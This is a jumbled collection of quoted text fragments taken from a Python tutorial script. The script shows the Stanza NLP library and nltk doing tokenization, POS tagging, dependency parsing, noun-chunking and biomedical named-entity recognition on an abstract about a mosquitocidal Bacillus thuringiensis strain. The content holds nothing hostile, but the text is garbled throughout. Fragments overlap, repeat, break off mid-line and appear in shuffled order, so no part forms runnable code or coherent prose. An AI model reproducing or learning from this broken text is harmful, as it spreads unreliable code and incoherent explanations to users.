"coding: utf-8 -*- \"\"\" Some simple usage examples of the stanfordnlp Stanza library",
"f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks # The stanza framework has no built-in",
"'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True)",
"in: (1) lacking the larvicidal activity against Culex pipiens molestus and haemolytic activity,",
"(PoS) and Sentence Segmentation # An annotated document will have the following [structure][stanza-objs]:",
"' ', text).strip() print(text) # Annotating the document # Just call `nlp(STRING)` and",
"\"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER MODEL:",
"the # trained model to handle. text = re.sub(r'\\n+', ' ', text).strip() print(text)",
"Recognition (NER) # From stanza's available NER models we'll test the JNLPBA, Linnaeus",
"dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks # The stanza",
"mosquitocidal B. thuringiensis strain with an unusual toxicity spectrum, lacking the activity against",
"In # general, a stanza code looks something like this: # for sent",
"be trimmed. We'll leave sentence segmentation for the # trained model to handle.",
"# * `.` means any (single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document,",
"(wich also means their token # IDs are relative to the sentences they're",
"the document # Just call `nlp(STRING)` and that's pretty much it doc =",
"molestus and haemolytic activity, and (2) SDS-PAGE profiles, immunological properties and N-terminal amino",
"trailing spaces will be trimmed. We'll leave sentence segmentation for the # trained",
"usage examples of the stanfordnlp Stanza library The original Colab notebook where this",
"TEXT <---DEP--- HEAD TEXT ID') for dep in sent.dependencies: # Using 'Source' and",
"- An optional determiner; # * `<JJ.*>*` - Zero or more adjectives; #",
"words # # https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences):",
"# # At this level you get the semantic dependencies # # for",
"To characterize the mosquitocidal activity of parasporal inclusions of the Bacillus thuringiensis serovar",
"# * `<DT>?` - An optional determiner; # * `<JJ.*>*` - Zero or",
"the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal",
"# Just call `nlp(STRING)` and that's pretty much it doc = nlp(text) #",
"document will have the following [structure][stanza-objs]: # * A `document` contains `sentences`; #",
"{<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition (NER) #",
"biomedical models # Our main pipeline, trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR,",
"get the semantic dependencies # # for token in sent.tokens: # # Operating",
"enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS POS') for word in sent.words:",
"saved. By default it points to your user's # HOME directory on linux/macos,",
"regular expression print_full_tree: True|False If true, print the whole tree, else print only",
"it points to your user's # HOME directory on linux/macos, no idea where",
"\"\"\" Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from Okinawa,",
"thuringiensis serovar sotto strain isolated from Okinawa, Japan. To characterize the mosquitocidal activity",
"the activity against the culicine mosquito. \"\"\" print(text) # Removing newlines # The",
"nltk # The path where downloads should be saved. By default it points",
"# Importing modules import re import stanza import nltk # The path where",
"strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with a unique toxicity spectrum.",
"# # for token in sent.tokens: # # Operating on the sentence's tokens",
"with two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed from the existing",
"shortcut to annotate the text with the given NER model \"\"\" nlp =",
"strains in: (1) lacking the larvicidal activity against Culex pipiens molestus and haemolytic",
"# trailing spaces will be trimmed. We'll leave sentence segmentation for the #",
"chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An optional determiner;",
"Print a document's chunks Arguments: doc: stanza.Document An (PoS) annotated document grammar: str",
"`*` means zero or more of the previous pattern; # * `+` means",
"to get their tokens/words (wich also means their token # IDs are relative",
"= True): \"\"\" Print a document's chunks Arguments: doc: stanza.Document An (PoS) annotated",
"# From stanza's available NER models we'll test the JNLPBA, Linnaeus and S800",
"TEXT HEAD ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD",
"Defining the text # The text below was extracted from the 2019 BioNLP",
"arch linux \"\"\" # Importing modules import re import stanza import nltk #",
"there is a distiction between a [Token][stanza-token] and a # [Word][stanza-word] object. #",
"On stanza there is a distiction between a [Token][stanza-token] and a # [Word][stanza-word]",
"etc.) you must iterate over the document's sentences and then iterate # over",
"if subtree.label() == 'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False)",
"https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): \"\"\" Just a shortcut to annotate the",
"parasporal inclusion proteins. It is clear from the results that the strain 96-OK-85-24",
"= dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks # The",
"Cry protein with a unique toxicity spectrum. This is the first report of",
"stanza.Document, grammar: str, print_full_tree: bool = True): \"\"\" Print a document's chunks Arguments:",
"grammar chunks \"\"\" cp = nltk.RegexpParser(grammar) for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}')",
"code looks something like this: # for sent in doc.sentences: # # Operating",
"`spacy`, in order to access a word's properties (e.g.: lemma, PoS # tags,",
"two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed from the existing mosquitocidal",
"# https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool = True): \"\"\" Print",
"True|False If true, print the whole tree, else print only the matching grammar",
"# # for word in sent.words: # # Operating on the sentence's words",
"import nltk # The path where downloads should be saved. By default it",
"stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document",
"a single whitespace, then any # trailing spaces will be trimmed. We'll leave",
"comparison with two well-characterized mosquitocidal strains. The strain 96-OK-85-24 significantly differed from the",
"doc = nlp(text) # Tokenization, Lemmas and Part-of-Speech (PoS) and Sentence Segmentation #",
"sotto strain 96-OK-85-24, for comparison with two well-characterized mosquitocidal strains. The strain 96-OK-85-24",
"# Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of a mosquitocidal Bacillus thuringiensis",
"Sentence Segmentation # An annotated document will have the following [structure][stanza-objs]: # *",
"https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT",
"your user's # HOME directory on linux/macos, no idea where it does it",
"for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS POS')",
"HEAD ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT",
"and haemolytic activity, and (2) SDS-PAGE profiles, immunological properties and N-terminal amino acid",
"more adjectives; # * `<NN.*>+` - One or more nouns. # # where:",
"chunk grammar regular expression print_full_tree: True|False If true, print the whole tree, else",
"this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires",
"from Okinawa, Japan. To characterize the mosquitocidal activity of parasporal inclusions of the",
"in sent.words: # # Operating on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html #",
"install both libraries under an isolated python virtual environment and avoid borking your",
"JNLPBA, Linnaeus and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model:",
"grammar, print_full_tree=True) # Named Entity Recognition (NER) # From stanza's available NER models",
"word in sent.words: # # Operating on the sentence's words # # https://stanfordnlp.github.io/stanza/data_objects.html",
"as a reference to the semantic # dependency arrow direction [src_word, deprel, tgt_word]",
"points to your user's # HOME directory on linux/macos, no idea where it",
"PoS # tags, etc.) you must iterate over the document's sentences and then",
"N-terminal amino acid sequences of parasporal inclusion proteins. It is clear from the",
"nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}') show_ner(text,",
"# At this level you get the semantic dependencies # # for token",
"acid sequences of parasporal inclusion proteins. It is clear from the results that",
"and then iterate # over each sentences to get their tokens/words (wich also",
"on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and 'nltk' modules, I'd highly",
"# * A `token` contains one of more `words`; # note: On stanza",
"subtree.label() == 'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc,",
"sent.dependencies: # Using 'Source' and 'Target' here as a reference to the semantic",
"https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print('",
"Okinawa, Japan. To characterize the mosquitocidal activity of parasporal inclusions of the Bacillus",
"sent in doc.sentences: # # Operating on the document sentences # # At",
"in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for w in sent.words] chunk_tree",
"Linnaeus and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str):",
"stanfordnlp Stanza library The original Colab notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing",
"An annotated document will have the following [structure][stanza-objs]: # * A `document` contains",
"Operating on the document sentences # # At this level you get the",
"from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and",
"'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition (NER)",
"package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator nlp",
"for dep in sent.dependencies: # Using 'Source' and 'Target' here as a reference",
"TEXT ID') for dep in sent.dependencies: # Using 'Source' and 'Target' here as",
"in order to access a word's properties (e.g.: lemma, PoS # tags, etc.)",
"package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR,",
"# Initializing the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the",
"(i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP--- HEAD TEXT",
"get their tokens/words (wich also means their token # IDs are relative to",
"We'll leave sentence segmentation for the # trained model to handle. text =",
"the # `nltk` module and its example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+",
"def show_ner(text: str, ner_model: str): \"\"\" Just a shortcut to annotate the text",
"iterate # over each sentences to get their tokens/words (wich also means their",
"examples of the stanfordnlp Stanza library The original Colab notebook where this script",
"a shortcut to annotate the text with the given NER model \"\"\" nlp",
"ner_model}) doc = nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent in doc.entities:",
"# -*- coding: utf-8 -*- \"\"\" Some simple usage examples of the stanfordnlp",
"-*- coding: utf-8 -*- \"\"\" Some simple usage examples of the stanfordnlp Stanza",
"OS: arch linux \"\"\" # Importing modules import re import stanza import nltk",
"Named Entity Recognition (NER) # From stanza's available NER models we'll test the",
"The stanza framework has no built-in chunking, instead we'll be using the #",
"# Semantic dependency information can be accessed at sentence level print(' ID TEXT",
"sentences to get their tokens/words (wich also means their token # IDs are",
"Removing newlines # The line below will replace newlines with a single whitespace,",
"# https://stanfordnlp.github.io/stanza/data_objects.html # https://stanfordnlp.github.io/stanza/data_objects.html#token # https://stanfordnlp.github.io/stanza/data_objects.html#word for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}')",
"tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks #",
"processors={'ner': ner_model}) doc = nlp(text) print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent in",
"and Sentence Segmentation # An annotated document will have the following [structure][stanza-objs]: #",
"reference to the semantic # dependency arrow direction [src_word, deprel, tgt_word] = dep",
"recommend you install both libraries under an isolated python virtual environment and avoid",
"(i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS POS') for",
"pattern; # * `.` means any (single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc:",
"* `.` means any (single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar:",
"# # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): \"\"\" Just a shortcut to",
"from the 2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the Development",
"Bacillus thuringiensis serovar sotto strain isolated from Okinawa, Japan. To characterize the mosquitocidal",
"parasporal inclusions of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison with",
"activity, and (2) SDS-PAGE profiles, immunological properties and N-terminal amino acid sequences of",
"an isolated python virtual environment and avoid borking your system's python installation Some",
"tokens/words (wich also means their token # IDs are relative to the sentences",
"print(f'\\nNER MODEL: {ner_model}') print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}') show_ner(text, 'jnlpba')",
"grammar regular expression print_full_tree: True|False If true, print the whole tree, else print",
"dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') #",
"line below will replace newlines with a single whitespace, then any # trailing",
"TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}') show_ner(text, 'jnlpba') show_ner(text, 'linnaeus') show_ner(text, 's800')",
"true, print the whole tree, else print only the matching grammar chunks \"\"\"",
"info: Python version: 3.8.6 OS: arch linux \"\"\" # Importing modules import re",
"`sentences`; # * A `sentence` contains `tokens`/`words`; # * A `token` contains one",
"virtual environment and avoid borking your system's python installation Some extra info: Python",
"and a # [Word][stanza-word] object. # Unlike `spacy`, in order to access a",
"a stanza code looks something like this: # for sent in doc.sentences: #",
"activity of parasporal inclusions of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for",
"enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID WORD TEXT <---DEP--- HEAD TEXT ID') for dep",
"Lemmas and Part-of-Speech (PoS) and Sentence Segmentation # An annotated document will have",
"each sentences to get their tokens/words (wich also means their token # IDs",
"chunking, instead we'll be using the # `nltk` module and its example noun",
"A `sentence` contains `tokens`/`words`; # * A `token` contains one of more `words`;",
"SDS-PAGE profiles, immunological properties and N-terminal amino acid sequences of parasporal inclusion proteins.",
"should be saved. By default it points to your user's # HOME directory",
"newlines with a single whitespace, then any # trailing spaces will be trimmed.",
"your system's python installation Some extra info: Python version: 3.8.6 OS: arch linux",
"both libraries under an isolated python virtual environment and avoid borking your system's",
"sentence segmentation for the # trained model to handle. text = re.sub(r'\\n+', '",
"modules import re import stanza import nltk # The path where downloads should",
"# <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An optional determiner; # * `<JJ.*>*`",
"= [(w.text, w.xpos) for w in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is",
"From stanza's available NER models we'll test the JNLPBA, Linnaeus and S800 #",
"with a single whitespace, then any # trailing spaces will be trimmed. We'll",
"Parsing # Semantic dependency information can be accessed at sentence level print(' ID",
"DEP HEAD TEXT HEAD ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print('",
"we'll be using the # `nltk` module and its example noun chunk grammar:",
"https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the 'stanza' and 'nltk'",
"any (single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str, print_full_tree: bool",
"arrow direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print()",
"annotated document will have the following [structure][stanza-objs]: # * A `document` contains `sentences`;",
"mosquitocidal B. thuringiensis strains in: (1) lacking the larvicidal activity against Culex pipiens",
"chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar,",
"NER model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc = nlp(text)",
"# Operating on the sentence's tokens # # for word in sent.words: #",
"and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): \"\"\"",
"example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An",
"BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the Development dataset. # #",
"- Zero or more adjectives; # * `<NN.*>+` - One or more nouns.",
"# * `<JJ.*>*` - Zero or more adjectives; # * `<NN.*>+` - One",
"(e.g.: lemma, PoS # tags, etc.) you must iterate over the document's sentences",
"# general, a stanza code looks something like this: # for sent in",
"models we'll test the JNLPBA, Linnaeus and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models",
"in sent.tokens: # # Operating on the sentence's tokens # # for word",
"tree, else print only the matching grammar chunks \"\"\" cp = nltk.RegexpParser(grammar) for",
"print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition (NER) # From stanza's available NER",
"inclusions of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison with two",
"be using the # `nltk` module and its example noun chunk grammar: #",
"for subtree in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print() grammar = 'NP:",
"stanza.Document An (PoS) annotated document grammar: str An nltk chunk grammar regular expression",
"= 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar, print_full_tree=True) # Named Entity Recognition",
"TEXT DEP HEAD TEXT HEAD ID') for (i, sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}')",
"# The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800')",
"sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') print(' ID TEXT LEMMA UPOS POS') for word",
"MODEL: {ner_model}') print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}') show_ner(text, 'jnlpba') show_ner(text,",
"path where downloads should be saved. By default it points to your user's",
"ID') for dep in sent.dependencies: # Using 'Source' and 'Target' here as a",
"module and its example noun chunk grammar: # # <DT>?<JJ.*>*<NN.*>+ # # *",
"from the existing mosquitocidal B. thuringiensis strains in: (1) lacking the larvicidal activity",
"`.` means any (single) character. # # https://www.nltk.org/book/ch07.html def print_chunks(doc: stanza.Document, grammar: str,",
"Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of a mosquitocidal Bacillus thuringiensis serovar",
"* `<JJ.*>*` - Zero or more adjectives; # * `<NN.*>+` - One or",
"print(text) # Annotating the document # Just call `nlp(STRING)` and that's pretty much",
"If true, print the whole tree, else print only the matching grammar chunks",
"for w in sent.words] chunk_tree = cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\\n\\n')",
"Semantic Dependency Parsing # Semantic dependency information can be accessed at sentence level",
"# # <DT>?<JJ.*>*<NN.*>+ # # * `<DT>?` - An optional determiner; # *",
"\"\"\" # Importing modules import re import stanza import nltk # The path",
"else: for subtree in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree) print() grammar =",
"of the Bacillus thuringiensis serovar sotto strain 96-OK-85-24, for comparison with two well-characterized",
"#!/usr/bin/env python3 # -*- coding: utf-8 -*- \"\"\" Some simple usage examples of",
"libraries under an isolated python virtual environment and avoid borking your system's python",
"between a [Token][stanza-token] and a # [Word][stanza-word] object. # Unlike `spacy`, in order",
"dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator nlp = stanza.Pipeline(lang='en',",
"# # * `<DT>?` - An optional determiner; # * `<JJ.*>*` - Zero",
"default it points to your user's # HOME directory on linux/macos, no idea",
"accessed at sentence level print(' ID TEXT DEP HEAD TEXT HEAD ID') for",
"and Part-of-Speech (PoS) and Sentence Segmentation # An annotated document will have the",
"order to access a word's properties (e.g.: lemma, PoS # tags, etc.) you",
"stanza framework has no built-in chunking, instead we'll be using the # `nltk`",
"handle. text = re.sub(r'\\n+', ' ', text).strip() print(text) # Annotating the document #",
"whole tree, else print only the matching grammar chunks \"\"\" cp = nltk.RegexpParser(grammar)",
"print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for w in sent.words] chunk_tree = cp.parse(sentence)",
"print_full_tree is True: print(chunk_tree, end='\\n\\n') else: for subtree in chunk_tree.subtrees(): if subtree.label() ==",
"{ner_model}') print('TYPE TEXT') for ent in doc.entities: print(f'{ent.type:<10} {ent.text}') show_ner(text, 'jnlpba') show_ner(text, 'linnaeus')",
"will be trimmed. We'll leave sentence segmentation for the # trained model to",
"`token` contains one of more `words`; # note: On stanza there is a",
"# Named Entity Recognition (NER) # From stanza's available NER models we'll test",
"annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text # The text",
"dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj text = \"\"\" Characterization of a mosquitocidal",
"deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}', f'{src_word.text:<20} {src_word.id:>4}') print() # Noun Chunks",
"# * `*` means zero or more of the previous pattern; # *",
"for the # trained model to handle. text = re.sub(r'\\n+', ' ', text).strip()",
"previous pattern; # * `+` means one or more of the previous pattern;",
"== 'NP': print(subtree) print() grammar = 'NP: {<DT>?<JJ.*>*<NN.*>+}' print_chunks(doc, grammar, print_full_tree=False) print_chunks(doc, grammar,",
"True: print(chunk_tree, end='\\n\\n') else: for subtree in chunk_tree.subtrees(): if subtree.label() == 'NP': print(subtree)",
"to handle. text = re.sub(r'\\n+', ' ', text).strip() print(text) # Annotating the document",
"Characterization of a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from Okinawa, Japan.",
"task, document # `BB-rel-14633026.txt` from the Development dataset. # # Task URL: https://sites.google.com/view/bb-2019/dataset#h.p_n7YHdPTzsDaj",
"IDs are relative to the sentences they're from, you'll see down below). In",
"This is the first report of the occurrence of a mosquitocidal B. thuringiensis",
"Just call `nlp(STRING)` and that's pretty much it doc = nlp(text) # Tokenization,",
"the mosquitocidal activity of parasporal inclusions of the Bacillus thuringiensis serovar sotto strain",
"', text).strip() print(text) # Annotating the document # Just call `nlp(STRING)` and that's",
"sent) in enumerate(doc.sentences): print(f'SENTENCE {i+1}') sentence = [(w.text, w.xpos) for w in sent.words]",
"2019 BioNLP OST `BB-Rel` task, document # `BB-rel-14633026.txt` from the Development dataset. #",
"It is clear from the results that the strain 96-OK-85-24 synthesizes a novel",
"of a mosquitocidal B. thuringiensis strain with an unusual toxicity spectrum, lacking the",
"'nltk' modules, I'd highly recommend you install both libraries under an isolated python",
"down below). In # general, a stanza code looks something like this: #",
"activity against the culicine mosquito. \"\"\" print(text) # Removing newlines # The line",
"# * A `document` contains `sentences`; # * A `sentence` contains `tokens`/`words`; #",
"script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This script requires the",
"# trained model to handle. text = re.sub(r'\\n+', ' ', text).strip() print(text) #",
"simple usage examples of the stanfordnlp Stanza library The original Colab notebook where",
"S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): \"\"\" Just",
"CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en',",
"By default it points to your user's # HOME directory on linux/macos, no",
"Some simple usage examples of the stanfordnlp Stanza library The original Colab notebook",
"where downloads should be saved. By default it points to your user's #",
"= re.sub(r'\\n+', ' ', text).strip() print(text) # Annotating the document # Just call",
"here as a reference to the semantic # dependency arrow direction [src_word, deprel,",
"the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein with a unique toxicity",
"notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy: https://colab.research.google.com/drive/1O5qxkgvB3x80PuOo6EbVZnw55fnd_MZ3?usp=sharing This",
"is clear from the results that the strain 96-OK-85-24 synthesizes a novel mosquitocidal",
"script requires the 'stanza' and 'nltk' modules, I'd highly recommend you install both",
"for word in sent.words: print(f'{word.id:>4} {word.text:>20} {word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency",
"framework has no built-in chunking, instead we'll be using the # `nltk` module",
"trimmed. We'll leave sentence segmentation for the # trained model to handle. text",
"dir=STANZA_DOWNLOAD_DIR, package='jnlpba') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='linnaeus') stanza.download(lang='en', dir=STANZA_DOWNLOAD_DIR, package='s800') # Initializing the document annotator",
"{word.lemma:<20} {word.upos:>5}', f'{word.xpos:<5}') print() # Semantic Dependency Parsing # Semantic dependency information can",
"novel mosquitocidal Cry protein with a unique toxicity spectrum. This is the first",
"models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def show_ner(text: str, ner_model: str): \"\"\" Just a shortcut",
"level you get the semantic dependencies # # for token in sent.tokens: #",
"original Colab notebook where this script came from: https://colab.research.google.com/drive/1AEdAzR4_-YNEClAB2TfSCYmWz7fIcHIO?usp=sharing Colab notebook on scispaCy:",
"the semantic dependencies # # for token in sent.tokens: # # Operating on",
"from the results that the strain 96-OK-85-24 synthesizes a novel mosquitocidal Cry protein",
"a mosquitocidal Bacillus thuringiensis serovar sotto strain isolated from Okinawa, Japan. To characterize",
"chunk_tree = cp.parse(sentence) if print_full_tree is True: print(chunk_tree, end='\\n\\n') else: for subtree in",
"expression print_full_tree: True|False If true, print the whole tree, else print only the",
"* `*` means zero or more of the previous pattern; # * `+`",
"the document annotator nlp = stanza.Pipeline(lang='en', dir=STANZA_DOWNLOAD_DIR, package='craft') # Defining the text #",
"sentences # # At this level you get the semantic dependencies # #",
"semantic # dependency arrow direction [src_word, deprel, tgt_word] = dep print(f'{tgt_word.id:>4} {tgt_word.text:>20} <{deprel:-^9}',",
"package='craft') # Defining the text # The text below was extracted from the",
"print(' ID WORD TEXT <---DEP--- HEAD TEXT ID') for dep in sent.dependencies: #",
"-*- \"\"\" Some simple usage examples of the stanfordnlp Stanza library The original",
"pipiens molestus and haemolytic activity, and (2) SDS-PAGE profiles, immunological properties and N-terminal",
"on the sentence's tokens # # for word in sent.words: # # Operating",
"only the matching grammar chunks \"\"\" cp = nltk.RegexpParser(grammar) for (i, sent) in",
"we'll test the JNLPBA, Linnaeus and S800 # models # # https://stanfordnlp.github.io/stanza/available_biomed_models.html#biomedical--clinical-ner-models def",
"strains. The strain 96-OK-85-24 significantly differed from the existing mosquitocidal B. thuringiensis strains",
"contains `tokens`/`words`; # * A `token` contains one of more `words`; # note:",
"the larvicidal activity against Culex pipiens molestus and haemolytic activity, and (2) SDS-PAGE",
"one of the previous pattern; # * `*` means zero or more of",
"the given NER model \"\"\" nlp = stanza.Pipeline(lang='en', package='craft', dir=STANZA_DOWNLOAD_DIR, processors={'ner': ner_model}) doc",
"they're from, you'll see down below). In # general, a stanza code looks",
"pipeline, trained with the CRAFT corpus stanza.download('en', dir=STANZA_DOWNLOAD_DIR, package='craft') # The NER models",
"[structure][stanza-objs]: # * A `document` contains `sentences`; # * A `sentence` contains `tokens`/`words`;",
"proteins. It is clear from the results that the strain 96-OK-85-24 synthesizes a",
